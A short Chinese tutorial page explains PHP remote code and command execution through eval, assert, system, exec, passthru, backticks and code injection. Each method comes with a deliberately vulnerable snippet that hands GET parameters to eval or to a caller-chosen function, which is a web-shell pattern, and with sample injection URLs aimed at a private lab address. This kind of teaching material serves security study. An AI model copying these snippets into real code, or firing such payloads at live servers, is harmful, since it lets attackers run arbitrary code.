zl程序教程

您现在的位置是:首页 >  Python

当前栏目

远程代码与命令执行

2023-03-14 22:55:50 时间

1、eval,将字符串当成PHP代码执行

新建php文件,代码如下

eval($_GET['a']); //相当于执行eval(phpinfo())

访问:http://192.168.139.129/?a=phpinfo();

0a2653c851af460fa595bd959398a8f1.png

2、assert,判断一个表达式是否成立

新一个PHP文件,代码如下

echo(assert($_GET['a']>3));

传递的参数大于3返回1,小于3,返回错误

0eacb84100b54626af849e6b562bf92a.png

3、system,执行系统命令,输出并返回最后一行结果

新建php文件,代码如下

$a= $_GET['a']($_GET['b']);

浏览器访问http://http://192.168.139.129/?a=system&b=dir,

2d65d23f6d4748949b924e4057485923.png

4、exec,执行系统命令,只获取最后一行结果

新建php文件,代码如下

$a= $_GET['a']($_GET['b']);
echo $a;

浏览器访问http://http://192.168.139.129/?a=exec&b=dir,

2e9b90b2ca334476abebe75bafe6eeaa.png

5、 passthru,执行系统命令,把命令的运行结果原样地直接输出到标准输出设备上

4cebaac233b3433da32a72337a77fc60.png

6、反引号,直接执行命令

新建php文件,代码如下

echo `ipconfig`;

访问该php文件

6de278e6d6694ce5bb08e7e842b7e74b.png

7、代码注入:

新建php文件,代码如下

$a= $_GET['a'];
eval("echo $a;");

访问http://192.168.139.129/?a=213;phpinfo(),结果如下

7a399525ddec4b77923c464820b33738 (1).png

禁止非法,后果自负